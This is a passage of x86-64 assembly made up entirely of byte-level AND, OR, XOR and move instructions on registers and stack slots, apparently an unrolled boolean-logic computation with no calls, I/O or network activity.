mov ebx, ebp
or bl, al
and bpl, dl
or al, dl
xor bpl, 1
mov edx, ebp
xor dl, al
or bpl, al
xor bpl, 1
or bpl, dl
xor bpl, 1
mov eax, ebx
or al, bpl
xor bpl, bl
xor al, 1
mov edx, eax
and dl, bpl
xor bpl, al
or bpl, dl
mov eax, r8d
xor al, 1
mov r9d, eax
and r9b, r8b
mov edx, eax
and dl, r9b
xor r9b, al
or r9b, dl
or al, r8b
mov r8d, r9d
xor r8b, 1
mov edi, r8d
xor dil, al
or al, r8b
mov ebx, eax
xor bl, dil
xor dil, 1
or dil, al
xor bl, 1
xor dil, 1
or dil, bl
mov ebx, ebp
xor bl, 1
mov eax, ebp
or al, bl
mov r10d, ebx
xor r10b, al
and r10b, bl
mov r11d, eax
and al, bl
mov esi, ebx
and bl, bpl
xor sil, bl
xor bl, 1
or bl, bpl
xor bl, 1
or bl, sil
mov ecx, edi
xor cl, 1
and cl, dil
xor cl, 1
mov esi, edi
xor sil, cl
or cl, dil
xor cl, 1
or cl, sil
mov esi, ebx
xor sil, 1
mov edi, esi
and dil, bl
xor sil, dil
xor dil, 1
or dil, bl
xor dil, 1
or dil, sil
mov edx, ecx
xor dl, 1
and dl, cl
xor dl, 1
mov esi, ecx
xor sil, dl
or dl, cl
xor dl, 1
or dl, sil
mov esi, edi
xor sil, 1
and sil, dl
xor dl, 1
and dl, dil
or dl, sil
mov esi, ebx
xor sil, cl
or cl, bl
xor cl, 1
or cl, sil
xor cl, 1
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
xor r11b, 1
and r11b, bpl
or al, r11b
mov edx, r10d
xor dl, 1
xor r10b, al
xor al, 1
or al, dl
xor al, 1
or al, r10b
mov edx, eax
xor dl, 1
and dl, r8b
or r8b, al
and al, r9b
or al, dl
xor r8b, 1
mov edx, r8d
and dl, al
xor al, r8b
or al, dl
mov edx, eax
xor dl, 1
and al, dl
mov ebx, edx
and bl, al
xor al, dl
or al, bl
xor cl, 1
xor al, 1
mov edx, ecx
xor dl, al
mov ebx, edx
xor bl, cl
xor bl, 1
and bl, dl
or al, cl
xor dl, 1
and dl, cl
mov ecx, eax
xor cl, dl
xor dl, 1
or dl, al
xor cl, 1
xor dl, 1
or dl, cl
mov eax, ebx
xor al, 1
mov ecx, eax
and cl, bl
xor al, cl
xor cl, 1
or cl, bl
xor cl, 1
or cl, al
mov r9d, edx
xor r9b, 1
and r9b, dl
xor r9b, 1
mov r8d, edx
xor r8b, r9b
or r9b, dl
xor r9b, 1
or r9b, r8b
mov eax, ecx
xor al, 1
and al, r9b
xor r9b, 1
and r9b, cl
or r9b, al
mov eax, ebx
xor al, dl
or dl, bl
xor dl, 1
or dl, al
mov eax, r9d
xor al, dl
xor r9b, 1
or r9b, dl
xor al, 1
xor r9b, 1
or r9b, al
movzx ecx, byte [rsp + 0x38]
movzx edx, byte [rsp + 0x65]
and dl, cl
movzx eax, byte [rsp + 0x68]
or al, dl
mov ebx, ecx
movzx edx, byte [rsp + 0x67]
and bl, dl
xor dl, cl
mov r8d, ecx
or dl, bl
xor dl, 1
mov ecx, eax
and cl, dl
xor dl, al
or dl, cl
mov r11d, edx
xor r11b, 1
and r11b, dl
xor r11b, 1
mov ecx, edx
xor cl, r11b
or r11b, dl
xor r11b, 1
or r11b, cl
movzx edx, byte [rsp + 0x69]
mov ecx, edx
movzx eax, byte [rsp + 0x6a]
and cl, al
xor dl, cl
xor cl, 1
or cl, al
xor cl, 1
or cl, dl
movzx ebx, byte [rsp + 0x6b]
or bl, byte [rsp + 0x66]
xor bl, cl
mov ecx, eax
xor cl, r8b
or al, r8b
xor al, 1
or al, cl
xor bl, 1
mov ecx, ebx
xor cl, al
or bl, al
xor bl, 1
or bl, cl
movzx eax, byte [rsp + 0x58]
xor al, 1
movzx r8d, byte [rsp + 0x50]
mov ecx, r8d
xor cl, al
or al, r8b
xor al, 1
or al, cl
mov ecx, eax
movzx r8d, byte [rsp + 0x5c]
xor cl, r8b
or al, r8b
xor al, 1
or al, cl
xor bl, 1
mov ecx, eax
xor cl, bl
xor cl, 1
and cl, al
or bl, al
xor cl, 1
mov eax, ecx
xor al, bl
or cl, bl
xor cl, 1
or cl, al
mov r10d, ecx
xor r10b, 1
mov eax, r11d
xor al, 1
mov r8d, r10d
and r8b, al
and r10b, r11b
and r11b, cl
or r11b, r8b
mov ebx, r11d
xor bl, al
and bl, r11b
and al, cl
or al, r10b
xor al, bl
xor al, 1
and bl, al
xor bl, 1
mov ecx, ebx
xor cl, al
or bl, al
xor bl, 1
or bl, cl
mov ecx, ebx
xor cl, 1
mov eax, ebx
or al, cl
mov edx, ebx
or dl, al
xor dl, 1
xor al, bl
mov r8d, edx
and r8b, al
xor al, dl
or al, r8b
mov edx, eax
xor dl, 1
and al, dl
mov r8d, eax
and r8b, dl
xor al, dl
or al, r8b
xor al, 1
mov r8d, eax
and r8b, dl
xor al, dl
or al, r8b
mov r8d, eax
xor r8b, 1
mov edx, r8d
and dl, al
xor r8b, dl
xor dl, 1
or dl, al
xor dl, 1
or dl, r8b
and cl, bl
xor cl, 1
mov eax, ecx
xor al, bl
or cl, bl
xor cl, 1
or cl, al
mov r10d, edx
xor r10b, 1
mov r11d, ecx
xor r11b, 1
mov r8d, ecx
and r8b, r10b
mov ebx, edx
and bl, r11b
or bl, r8b
mov eax, ebx
xor al, r10b
and al, bl
and cl, r11b
xor cl, 1
mov ebx, r11d
xor bl, cl
or cl, r11b
xor cl, 1
or cl, bl
and dl, cl
xor cl, 1
and cl, r10b
or cl, dl
xor al, 1
xor cl, 1
mov edx, eax
and dl, cl
xor cl, al
or dl, cl
mov eax, ecx
xor al, dl
xor cl, 1
xor al, 1
or cl, dl
xor cl, 1
or cl, al
mov eax, ecx
xor al, 1
or al, cl
mov edx, ecx
or dl, al
xor dl, 1
xor al, cl
mov ecx, edx
and cl, al
xor al, dl
or al, cl
mov ecx, eax
xor cl, 1
or al, cl
xor al, 1
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov ecx, eax
xor cl, 1
mov edx, ecx
or dl, al
and al, cl
mov ebx, ecx
and bl, al
xor al, cl
or al, bl
xor al, dl
mov ebx, edx
and bl, cl
xor dl, cl
or dl, bl
mov ecx, eax
xor cl, 1
xor al, dl
xor al, 1
or dl, cl
xor dl, 1
or dl, al
mov eax, edx
xor al, 1
mov ecx, edx
or cl, al
and al, dl
xor al, 1
mov ebx, eax
xor bl, dl
or al, dl
xor al, 1
or al, bl
mov r8d, ecx
xor r8b, 1
mov ebx, eax
xor bl, 1
and bl, r8b
and al, cl
or al, bl
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
xor al, 1
mov edx, eax
xor dl, cl
or al, cl
xor al, 1
or al, dl
mov edi, eax
xor dil, 1
or al, dil
xor dil, al
and dil, al
mov eax, r9d
xor al, 1
mov edx, r9d
and dl, al
mov ecx, eax
and cl, dl
xor dl, al
or dl, cl
or al, r9b
mov ecx, eax
xor cl, 1
mov r10d, edx
or r10b, cl
and cl, al
xor cl, 1
mov r8d, ecx
xor r8b, al
or cl, al
xor cl, 1
or cl, r8b
mov r9d, edx
xor r9b, 1
mov r8d, ecx
and r8b, r9b
xor cl, 1
and cl, dl
or cl, r8b
xor al, r9b
xor r10b, 1
or r10b, al
xor r10b, 1
mov eax, ecx
and al, r10b
xor r10b, cl
or r10b, al
mov esi, edi
xor sil, 1
mov eax, edi
and al, sil
mov r8d, eax
and r8b, sil
xor sil, al
or sil, r8b
mov r8d, r10d
xor r8b, 1
mov r11d, r8d
and r11b, r10b
mov ecx, r8d
xor cl, r10b
or cl, r11b
mov ebx, ecx
xor bl, 1
and cl, bl
mov r11d, ebx
and r11b, cl
xor cl, bl
or cl, r11b
and dl, r9b
mov ebx, r9d
and bl, dl
xor dl, r9b
or dl, bl
xor al, 1
mov ebx, edi
xor bl, al
or al, dil
xor al, 1
or al, bl
mov r11d, eax
xor r11b, 1
mov ebx, r11d
and bl, al
mov r9d, r11d
xor r9b, bl
xor bl, 1
or bl, al
xor bl, 1
or bl, r9b
or r11b, al
mov eax, ebx
xor al, r11b
or r11b, bl
xor r11b, 1
or r11b, al
mov eax, edx
xor al, 1
mov edi, ecx
and dil, dl
mov r9d, eax
or al, cl
xor dl, cl
and dl, cl
xor cl, 1
and r9b, cl
or dil, r9b
xor dil, 1
or dil, cl
mov ecx, eax
xor cl, dl
xor dl, 1
or dl, al
xor cl, 1
xor dl, 1
or dl, cl
mov eax, edi
xor al, 1
and al, dil
xor al, 1
mov ecx, eax
xor cl, dil
or al, dil
xor al, 1
or al, cl
mov ecx, edx
xor cl, 1
mov r9d, edx
and r9b, cl
mov ebx, r9d
xor r9b, dl
xor bl, 1
or bl, cl
xor bl, 1
or bl, r9b
mov edx, eax
xor dl, 1
and dl, bl
xor bl, 1
and bl, al
or bl, dl
mov eax, edi
and al, cl
xor cl, dil
or cl, al
xor bl, 1
mov eax, ebx
xor al, cl
or bl, cl
xor bl, 1
or bl, al
mov r9d, esi
xor r9b, 1
mov eax, r9d
and al, sil
mov edi, r9d
xor dil, sil
or al, dil
mov ebp, eax
xor bpl, 1
mov edx, r11d
xor dl, 1
xor al, r11b
mov ecx, ebp
or cl, dl
xor cl, 1
or cl, al
or r11b, bpl
xor dl, bpl
and dl, bpl
xor r11b, 1
mov eax, r11d
and al, dl
xor dl, r11b
or dl, al
mov eax, ecx
xor al, dl
xor dl, 1
mov r11d, ecx
and r11b, dl
xor dl, cl
or dl, r11b
xor al, 1
xor dl, 1
mov ecx, eax
and cl, dl
xor dl, al
or dl, cl
mov eax, ebx
xor al, 1
and bl, al
mov ecx, eax
and cl, bl
xor bl, al
or bl, cl
mov r14d, ebx
xor r14b, 1
or r14b, bl
xor r14b, 1
mov eax, ebx
and al, r14b
xor r14b, bl
or r14b, al
mov eax, edx
xor al, 1
or al, dl
mov r11d, eax
xor r11b, 1
mov ebp, r11d
and bpl, al
mov ebx, ebp
xor bpl, r11b
xor bl, 1
or bl, al
xor bl, 1
or bl, bpl
xor bl, dl
mov r11d, edx
and r11b, al
xor al, dl
or al, r11b
mov edx, ebx
xor dl, al
or al, bl
xor al, 1
or al, dl
mov edx, eax
xor dl, 1
or dl, r14b
xor r14b, 1
or r14b, al
mov eax, edx
xor al, r14b
or r14b, dl
xor r14b, 1
or r14b, al
mov r11d, r10d
or r11b, r8b
mov edx, r11d
xor dl, 1
mov eax, edx
and al, r11b
mov ebx, eax
xor bl, 1
or bl, r11b
xor al, dl
xor bl, 1
or bl, al
mov eax, edx
xor al, r10b
or dl, r10b
xor dl, 1
or dl, al
xor bl, r10b
xor bl, 1
mov eax, ebx
xor al, dl
or bl, dl
xor bl, 1
or bl, al
mov eax, esi
or al, r9b
mov r11d, eax
xor r11b, 1
and dil, sil
mov edx, edi
xor dl, 1
and dil, al
or al, dl
and dl, r11b
or dl, dil
xor al, 1
mov r11d, eax
and r11b, dl
xor dl, al
or dl, r11b
mov eax, edx
xor al, 1
or al, bl
xor bl, 1
or bl, dl
mov edx, eax
xor dl, bl
or bl, al
xor bl, 1
or bl, dl
and r9b, r10b
or r10b, sil
and sil, r8b
or sil, r9b
xor r10b, 1
mov eax, r10d
and al, sil
xor sil, r10b
or sil, al
xor sil, 1
mov eax, ebx
xor al, sil
or sil, bl
xor sil, 1
or sil, al
xor sil, 1
mov edx, eax
and dl, sil
xor sil, al
or sil, dl
mov edi, esi
xor dil, 1
or dil, sil
xor dil, 1
mov eax, esi
and al, dil
xor dil, sil
or dil, al
mov eax, r14d
xor al, 1
and r14b, al
mov r8d, eax
and r8b, r14b
xor r14b, al
mov r9d, edi
xor r9b, 1
or r14b, r8b
mov eax, edi
or al, r9b
mov r8d, r9d
xor r8b, al
or al, r9b
xor al, 1
or al, r8b
mov r8d, eax
xor r8b, 1
mov r10d, eax
and r10b, r8b
mov ebx, r10d
xor r10b, al
xor bl, 1
or bl, r8b
xor bl, 1
or bl, r10b
mov eax, r14d
xor al, 1
mov ecx, r14d
xor cl, al
and cl, r14b
xor bl, cl
mov ecx, eax
and cl, r14b
mov r8d, eax
xor r8b, cl
xor cl, 1
or cl, r14b
xor cl, 1
or cl, r8b
and dil, r9b
mov r8d, r9d
and r8b, dil
xor dil, r9b
or dil, r8b
mov r8d, ecx
xor r8b, 1
and r8b, dil
xor dil, 1
and dil, cl
or dil, r8b
mov ecx, eax
and cl, r9b
xor al, r9b
or al, cl
xor dil, 1
mov ecx, edi
xor cl, al
or dil, al
xor dil, 1
or dil, cl
mov eax, edi
xor al, 1
mov ecx, ebx
xor cl, 1
and al, cl
or cl, dil
xor cl, 1
and dil, bl
or dil, al
mov eax, ecx
and al, dil
xor dil, cl
or dil, al
movzx edx, byte [rsp + 0x34]
mov r8d, edx
xor r8b, 1
mov byte [rsp + 0x38], r8b
mov eax, edx
and al, r8b
mov ecx, edx
and cl, al
xor al, dl
or al, cl
mov ecx, eax
xor cl, 1
mov ebx, eax
and bl, cl
mov r9d, ebx
and r9b, al
xor bl, al
or bl, r9b
or cl, al
xor bl, 1
mov eax, ebx
xor al, cl
or cl, bl
xor cl, 1
or cl, al
mov eax, r8d
xor al, dl
mov ebx, edx
or bl, r8b
xor bl, 1
or bl, al
mov r9d, ebx
xor r9b, 1
mov r10d, r9d
and r10b, bl
mov eax, r10d
xor r10b, r9b
mov r9d, ecx
xor r9b, bl
xor al, 1
or al, bl
xor al, 1
or al, r10b
or r9b, cl
xor al, cl
mov ebx, r9d
xor bl, 1
mov ecx, ebx
and cl, r9b
mov r10d, ecx
and r10b, bl
xor cl, bl
or cl, r10b
mov r10d, eax
xor r10b, 1
mov ebx, ecx
xor bl, 1
and bl, r10b
and cl, al
or cl, bl
mov ebx, r9d
and bl, al
xor al, r9b
or al, bl
xor al, 1
mov ebx, ecx
and bl, al
xor al, cl
or al, bl
mov ecx, eax
xor cl, 1
mov r9d, eax
or r9b, cl
xor cl, al
and cl, al
mov r11d, r9d
xor r11b, 1
mov ebx, r9d
and bl, r11b
mov r10d, r9d
and r10b, bl
xor bl, r9b
or bl, r10b
mov eax, ecx
xor al, 1
xor bl, al
xor al, r9b
or cl, r11b
xor cl, 1
or cl, al
xor cl, 1
mov eax, ebx
and al, cl
xor cl, bl
or cl, al
mov r9d, edi
xor r9b, 1
mov ebx, r9d
or bl, dil
mov eax, edi
or al, bl
xor al, 1
xor bl, dil
mov r10d, eax
and r10b, bl
xor bl, al
or bl, r10b
mov r10d, ecx
xor r10b, 1
mov eax, r10d
and al, cl
xor r10b, al
xor al, 1
or al, cl
xor al, 1
or al, r10b
mov r10d, eax
xor r10b, 1
and r10b, al
mov ecx, r10d
and cl, al
xor r10b, al
or r10b, cl
mov r11d, ebx
xor r11b, 1
mov esi, r11d
and sil, bl
mov ecx, r11d
xor cl, sil
xor sil, 1
or sil, bl
xor sil, 1
or sil, cl
mov eax, esi
xor al, 1
mov ebx, eax
or bl, sil
mov ecx, ebx
xor cl, r11b
and bl, r11b
or bl, cl
xor cl, 1
mov r11d, ecx
xor r11b, bl
or cl, bl
xor cl, 1
or cl, r11b
mov ebx, r10d
xor bl, 1
mov ebp, r10d
or bpl, bl
mov r11d, ebp
xor r11b, 1
mov edx, ebp
and dl, r11b
xor dl, 1
mov r14d, r11d
xor r14b, dl
or dl, r11b
xor dl, 1
or dl, r14b
mov r11d, edx
xor r11b, 1
and r11b, bl
and dl, r10b
or dl, r11b
mov r11d, ebp
and r11b, bl
xor bpl, bl
or bpl, r11b
mov r11d, edx
xor r11b, bpl
xor dl, 1
or dl, bpl
xor r11b, 1
xor dl, 1
or dl, r11b
mov r11d, edx
xor r11b, 1
or r11b, cl
xor cl, 1
or cl, dl
mov edx, r11d
xor dl, cl
or cl, r11b
xor cl, 1
or cl, dl
mov r11d, esi
and r11b, al
mov edx, r11d
xor r11b, sil
xor dl, 1
or dl, al
xor dl, 1
or dl, r11b
and bl, r10b
xor bl, 1
mov r11d, ebx
xor r11b, r10b
or bl, r10b
xor bl, 1
or bl, r11b
xor bl, dl
mov edx, eax
and dl, r10b
xor al, r10b
or al, dl
xor al, 1
mov edx, ebx
and dl, al
xor al, bl
or al, dl
mov edx, eax
xor dl, 1
and dl, al
xor dl, 1
mov ebx, eax
xor bl, dl
or dl, al
xor dl, 1
or dl, bl
mov eax, edx
xor al, 1
xor dl, cl
xor cl, 1
or cl, al
mov eax, ecx
xor al, dl
xor dl, 1
or dl, cl
xor al, 1
xor dl, 1
or dl, al
mov eax, edx
xor al, 1
and dl, al
mov ecx, eax
and cl, dl
xor dl, al
or dl, cl
mov ebx, edx
xor bl, 1
mov eax, ebx
and al, dl
mov ecx, eax
xor al, dl
xor cl, 1
or cl, bl
xor cl, 1
or cl, al
mov r10d, ecx
xor r10b, 1
mov eax, ecx
and al, r10b
mov edx, ecx
and dl, al
xor al, cl
or al, dl
or r10b, cl
mov ecx, eax
xor cl, r10b
or r10b, al
xor r10b, 1
or r10b, cl
and r9b, dil
mov eax, r9d
xor al, 1
mov ecx, edi
xor cl, al
or al, dil
xor al, 1
or al, cl
mov ecx, eax
xor cl, 1
and al, cl
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov ebx, eax
xor bl, 1
mov ecx, ebx
and cl, al
mov r8d, ecx
xor cl, bl
xor r8b, 1
or r8b, al
xor r8b, 1
or r8b, cl
xor dil, r9b
and dil, r9b
mov r9d, r8d
xor r9b, 1
mov r14d, r9d
xor r14b, r8b
and r14b, r9b
mov ecx, r14d
xor cl, 1
and cl, r14b
xor cl, 1
mov ebx, r14d
xor bl, cl
or cl, r14b
xor cl, 1
or cl, bl
mov r11d, edi
xor r11b, 1
mov esi, edi
or sil, r11b
mov ebp, esi
xor bpl, 1
mov eax, ebp
and al, sil
xor al, 1
mov r15d, eax
xor r15b, sil
or al, sil
mov r12d, r11d
and r12b, dil
xor sil, dil
mov r13d, r9d
and r13b, r8b
mov ebx, r13d
xor bl, 1
or bl, r8b
mov edx, r8d
and dl, dil
mov byte [rsp + 0x44], dl
xor dil, r8b
or r8b, r9b
mov edx, ecx
xor dl, 1
and dl, r8b
xor r8b, 1
and cl, r8b
or cl, dl
mov edx, r14d
xor dl, r8b
or r8b, r14b
xor r8b, 1
or r8b, dl
mov edx, ecx
xor dl, r8b
xor cl, 1
or cl, r8b
xor dl, 1
xor cl, 1
or cl, dl
xor al, 1
or al, r15b
mov edx, r12d
and dl, r11b
xor r12b, r11b
or r12b, dl
xor r13b, r9b
xor bl, 1
or bl, r13b
mov r8d, eax
xor al, 1
and al, r12b
mov r9d, ebx
xor r9b, 1
and r9b, r12b
xor r12b, 1
and r8b, r12b
or al, r8b
or bpl, r11b
xor bpl, 1
or bpl, sil
xor al, 1
mov r8d, eax
xor r8b, bpl
or al, bpl
xor al, 1
or al, r8b
xor al, 1
mov edx, ecx
xor dl, al
or al, cl
xor dl, 1
and dl, cl
xor al, 1
mov ecx, eax
and cl, dl
xor dl, al
or dl, cl
and bl, r12b
or bl, r9b
or dil, byte [rsp + 0x44]
xor bl, 1
mov eax, ebx
xor al, dil
or bl, dil
xor bl, 1
or bl, al
mov eax, ebx
xor al, 1
and bl, al
mov ecx, eax
and cl, bl
xor bl, al
or bl, cl
mov r8d, edx
xor r8b, 1
mov eax, edx
and al, r8b
mov ecx, eax
xor cl, 1
xor al, dl
or cl, r8b
xor cl, 1
or cl, al
mov r9d, ebx
xor r9b, 1
mov eax, ebx
and al, r9b
xor al, 1
mov r11d, eax
xor r11b, r9b
or al, r9b
xor al, 1
or al, r11b
mov r11d, ecx
xor r11b, 1
and r11b, al
xor al, 1
and al, cl
or al, r11b
xor r9b, r8b
or bl, dl
xor bl, 1
or bl, r9b
xor bl, 1
mov ecx, eax
and cl, bl
xor bl, al
or bl, cl
mov eax, ebx
xor al, 1
mov ecx, eax
and cl, bl
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
or al, bl
mov edx, eax
xor dl, 1
mov r8d, edx
or dl, cl
mov ebx, ecx
xor cl, 1
and r8b, cl
and bl, al
or bl, r8b
xor al, cl
xor dl, 1
or dl, al
xor dl, 1
mov eax, ebx
and al, dl
xor dl, bl
or dl, al
mov eax, edx
xor al, 1
movzx ecx, byte [rsp + 0x38]
xor cl, dl
movzx ebx, byte [rsp + 0x34]
xor dl, bl
xor dl, 1
or dl, al
xor dl, 1
or al, bl
xor al, 1
or al, cl
xor al, dl
and dl, al
mov ecx, edx
xor cl, al
xor dl, 1
xor cl, 1
or dl, al
xor dl, 1
or dl, cl
mov ecx, edx
xor cl, bl
or bl, dl
xor bl, 1
xor cl, 1
and cl, dl
mov eax, ebx
and al, cl
xor cl, bl
or cl, al
xor dl, cl
xor cl, 1
or cl, dl
mov r8d, ecx
xor r8b, 1
mov edx, ecx
and dl, r8b
mov eax, ecx
and al, dl
xor dl, cl
or dl, al
mov r9d, r10d
xor r9b, 1
mov ebx, edx
xor bl, 1
mov eax, r9d
xor al, bl
mov r11d, ebx
or r11b, r9b
xor al, 1
and al, r9b
xor al, 1
mov esi, r11d
xor sil, al
or al, r11b
xor al, 1
or al, sil
xor al, 1
mov r11d, eax
and r11b, r10b
xor al, r10b
or al, r11b
xor bl, dl
and bl, dl
or r8b, cl
or r10b, r9b
mov ecx, r9d
or cl, r10b
xor r10b, r9b
xor cl, 1
mov edx, ecx
and dl, r10b
xor r10b, cl
or r10b, dl
xor bl, 1
mov ecx, ebx
or cl, r8b
xor bl, r8b
mov edx, ecx
xor dl, bl
xor bl, 1
or bl, cl
mov ecx, eax
xor cl, 1
xor dl, 1
xor bl, 1
or bl, dl
mov r11d, r10d
xor r11b, bl
and bl, r11b
and r11b, r10b
mov r8d, ebx
and r8b, r11b
xor r11b, bl
or r11b, r8b
mov esi, eax
and sil, cl
xor sil, 1
mov r8d, esi
xor r8b, cl
or sil, cl
or cl, al
xor cl, al
mov r9d, ecx
and r9b, al
xor r9b, 1
mov r10d, r9d
xor r10b, cl
or r9b, cl
xor r9b, 1
or r9b, r10b
mov ecx, r11d
xor cl, 1
mov edx, r11d
or dl, cl
mov ebx, edx
xor bl, 1
and bl, dl
mov r10d, edx
and r10b, bl
xor bl, dl
or bl, r10b
mov r10d, ebx
and r10b, cl
xor bl, 1
and bl, r11b
or bl, r10b
mov r10d, r11d
and r10b, dl
xor dl, r11b
or dl, r10b
xor dl, 1
mov r10d, ebx
and r10b, dl
xor dl, bl
or dl, r10b
mov ebx, edx
xor bl, 1
and bl, dl
mov r10d, ebx
and r10b, dl
xor bl, dl
or bl, r10b
xor bl, r9b
xor sil, 1
or sil, r8b
mov edx, esi
and sil, r11b
xor dl, 1
and dl, cl
or sil, dl
mov edx, eax
xor dl, cl
or cl, al
xor cl, 1
or cl, dl
xor cl, 1
mov eax, esi
and al, cl
xor cl, sil
or cl, al
mov eax, ecx
xor al, 1
mov r9d, eax
and r9b, cl
xor al, r9b
xor r9b, 1
or r9b, cl
xor r9b, 1
or r9b, al
mov eax, ebx
xor al, 1
and al, r9b
xor r9b, 1
mov ecx, ebx
xor cl, r9b
and cl, bl
and r9b, bl
or r9b, al
mov eax, ecx
and al, r9b
xor r9b, cl
or r9b, al
mov byte [rsp + 0x34], r9b
movzx edx, byte [rsp + 0x4e]
mov eax, edx
movzx ecx, byte [rsp + 0x4d]
xor al, cl
or dl, cl
movzx ebx, byte [rsp + 0x4f]
or cl, bl
xor cl, 1
or cl, byte [rsp + 0x54]
xor cl, bl
xor cl, 1
xor dl, 1
or dl, al
mov eax, ecx
xor al, dl
or dl, cl
xor dl, 1
or dl, al
mov r10d, edx
mov esi, edx
xor r10b, 1
movzx eax, byte [rsp + 0x62]
mov ecx, eax
movzx r9d, byte [rsp + 0x61]
or cl, r9b
mov edx, ecx
xor dl, 1
mov ebx, r9d
and bl, cl
or cl, al
xor cl, 1
and dl, al
mov ebp, eax
or dl, bl
mov ebx, ecx
and bl, dl
xor dl, cl
or dl, bl
mov edi, edx
xor dil, 1
and dil, dl
xor dil, 1
mov ecx, edx
xor cl, dil
or dil, dl
xor dil, 1
or dil, cl
mov r8d, edi
xor r8b, 1
mov ecx, esi
and cl, r10b
mov edx, esi
xor dl, cl
xor cl, 1
or cl, r10b
xor cl, 1
or cl, dl
mov r11d, ecx
xor r11b, 1
or r10b, sil
mov edx, r10d
xor dl, 1
mov eax, edx
and al, r10b
xor al, 1
mov esi, eax
xor sil, r10b
or al, r10b
mov r10d, r8d
or r10b, dil
xor al, 1
or al, sil
mov esi, eax
and sil, r11b
xor al, 1
and al, cl
or al, sil
mov esi, ecx
xor sil, dl
or dl, cl
xor dl, 1
or dl, sil
xor al, 1
mov esi, eax
xor sil, dl
or al, dl
mov edx, r10d
xor dl, 1
xor al, 1
or al, sil
mov esi, r10d
and sil, r8b
and dl, dil
or dl, sil
mov esi, edi
and sil, r10b
xor r10b, dil
or r10b, sil
xor dl, 1
mov esi, edx
xor sil, r10b
or dl, r10b
xor dl, 1
or dl, sil
xor dl, 1
mov ebx, eax
xor bl, dl
or dl, al
xor dl, 1
xor bl, 1
and bl, al
mov eax, edx
and al, bl
xor bl, dl
or bl, al
and r8b, r11b
or r11b, dil
xor r11b, 1
and cl, dil
or cl, r8b
mov eax, r11d
and al, cl
xor cl, r11b
or cl, al
mov eax, ecx
xor al, 1
mov edx, ebx
xor dl, 1
and al, dl
or dl, cl
xor dl, 1
and cl, bl
or cl, al
mov eax, edx
and al, cl
xor cl, dl
or cl, al
mov r11d, ecx
xor r11b, 1
mov r10d, ecx
or r10b, r11b
mov r8d, r10d
xor r8b, 1
mov ebx, r11d
and bl, cl
mov eax, r8d
and al, r10b
mov edx, ebx
xor dl, 1
xor bl, r11b
or dl, cl
xor dl, 1
or dl, bl
mov ebx, eax
and bl, r8b
xor al, r8b
or al, bl
xor al, dl
mov edx, ecx
and dl, r10b
xor r10b, cl
or r10b, dl
xor r10b, 1
mov ecx, eax
and cl, r10b
xor r10b, al
or r10b, cl
mov r8d, r10d
xor r8b, 1
movzx edx, byte [rsp + 0x4a]
and dl, byte [rsp + 0x4b]
mov eax, edx
xor al, 1
movzx r14d, byte [rsp + 0x4c]
mov ecx, r14d
and cl, r9b
xor r14b, r9b
or r14b, cl
and al, r14b
xor r14b, 1
and r14b, dl
or r14b, al
mov eax, edx
xor al, r9b
or dl, r9b
xor dl, 1
or dl, al
mov eax, r14d
xor al, dl
xor r14b, 1
xor al, 1
or r14b, dl
xor r14b, 1
or r14b, al
mov eax, r14d
xor al, 1
and r14b, al
xor r14b, 1
or r14b, al
mov r11d, r14d
xor r11b, 1
xor bpl, r9b
xor r9b, bpl
xor r9b, 1
and r9b, bpl
movzx ebx, byte [rsp + 0x3f]
or bl, byte [rsp + 0x32]
mov eax, ebx
xor al, 1
movzx esi, byte [rsp + 0x33]
mov ebp, esi
xor bpl, 1
and al, bl
mov edx, esi
and dl, bpl
xor al, 1
mov ecx, eax
xor cl, bl
or al, bl
xor al, 1
or al, cl
mov ecx, edx
and cl, sil
xor dl, sil
or dl, cl
mov ecx, eax
xor cl, 1
and cl, dl
xor dl, 1
and dl, al
or dl, cl
mov eax, ebx
and al, bpl
xor bpl, bl
or bpl, al
xor bpl, 1
mov eax, edx
and al, bpl
xor bpl, dl
or bpl, al
mov esi, r9d
xor sil, 1
mov ecx, r11d
or cl, r14b
mov ebx, esi
xor bl, r9b
and bl, sil
mov eax, r11d
and al, r14b
mov edi, r11d
and dil, al
xor al, r11b
or al, dil
xor al, cl
mov edi, r11d
and dil, cl
xor cl, r11b
or cl, dil
xor cl, 1
mov edi, eax
and dil, cl
xor cl, al
or cl, dil
mov eax, ebx
xor al, 1
mov edx, ebx
and dl, al
mov edi, edx
and dil, bl
xor dl, bl
or dl, dil
or al, bl
xor al, 1
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov edx, ecx
xor dl, al
and al, dl
and dl, cl
mov ecx, eax
and cl, dl
xor dl, al
or dl, cl
mov ecx, r14d
mov eax, r9d
xor cl, r9b
and cl, r14b
and sil, r11b
and al, r14b
or al, sil
mov ebx, ecx
and bl, al
xor al, cl
or al, bl
mov ebx, eax
xor bl, 1
mov ecx, edx
xor cl, 1
and bl, cl
or cl, al
and al, dl
or al, bl
xor al, 1
mov edx, ecx
xor dl, al
or al, cl
xor al, 1
or al, dl
mov ebx, eax
xor bl, 1
and al, bl
mov ecx, ebx
and cl, al
xor al, bl
or al, cl
xor al, bpl
mov r9d, eax
mov ecx, ebp
xor cl, 1
mov edx, ecx
and dl, bpl
xor dl, 1
mov eax, ebp
xor al, dl
or dl, bpl
xor dl, 1
or dl, al
xor dl, 1
mov eax, ebx
and al, dl
xor dl, bl
or dl, al
xor r9b, 1
xor cl, r9b
and cl, r9b
mov eax, edx
xor al, cl
xor dl, 1
mov ebx, edx
xor bl, cl
xor al, 1
or dl, cl
xor dl, 1
or dl, al
xor dl, 1
mov eax, ebx
and al, dl
xor dl, bl
or dl, al
xor dl, 1
mov eax, r8d
and al, r10b
mov ecx, r8d
and cl, al
xor al, r8b
or al, cl
xor al, dl
mov r11d, r8d
xor r11b, dl
mov ebx, r11d
xor bl, 1
and bl, dl
mov esi, r10d
xor sil, dl
and sil, r10b
mov r10d, ebx
and r10b, sil
xor sil, bl
or sil, r10b
mov ebx, esi
xor bl, r8b
xor sil, bl
xor sil, 1
and sil, bl
xor dl, al
and dl, al
xor r8b, r11b
and r8b, r11b
mov eax, edx
xor al, 1
mov ebx, r8d
xor bl, 1
and r8b, al
and dl, bl
or dl, r8b
mov r8d, eax
and r8b, bl
xor bl, al
or bl, r8b
mov eax, edx
xor al, bl
xor dl, 1
xor al, 1
or dl, bl
xor dl, 1
or dl, al
mov r9d, esi
xor r9b, 1
mov r8d, edx
xor r8b, 1
mov r11d, r9d
or r11b, sil
